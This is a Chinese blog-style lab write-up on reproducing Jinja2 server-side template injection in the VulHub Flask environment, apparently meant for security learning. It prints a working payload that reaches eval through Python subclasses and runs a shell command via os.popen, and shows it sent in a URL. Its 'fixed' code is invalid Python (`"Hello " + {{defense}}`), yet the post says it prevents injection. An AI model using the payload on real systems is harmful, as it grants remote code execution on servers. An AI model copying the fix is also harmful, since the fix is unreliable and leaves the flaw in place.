Flask - SSTI - VulHub
一、环境准备:
1.打开vulhub,进入到flask/ssti目录下
2.对靶场进行编译
docker-compose build
3.运行靶场
docker-compose up -d
4.移除环境
docker-compose down
二、漏洞复现:
1.进入浏览器页面,访问127.0.0.1:8000,
docker ps
// 查看端口号
2.查看源码,
ls
cd src
ls
cat app.py
3.根据源码可知,name为用户输入字段,随意输入进行验证,
核心语句:
t = Template("Hello " + name)
// 函数利用get获取参数进入template,形成任意构造注入。
//Template()完全可控,那么就可以直接写入jinja2的模板语言。
验证语句:
http://127.0.0.1:8000/?name=s1mpL3
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'xiaojian'.upper()}}
三、漏洞修复:
修改后:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/s1mpL3")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + {{defense}})
return t.render(defense=name)
if __name__ == "__main__":
app.run()
此时可以避免代码注入。
四、漏洞利用:
官方POC - 获取eval函数执行任意代码测试:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
执行:
http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
五、参考:
The Working Class Must Lead!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)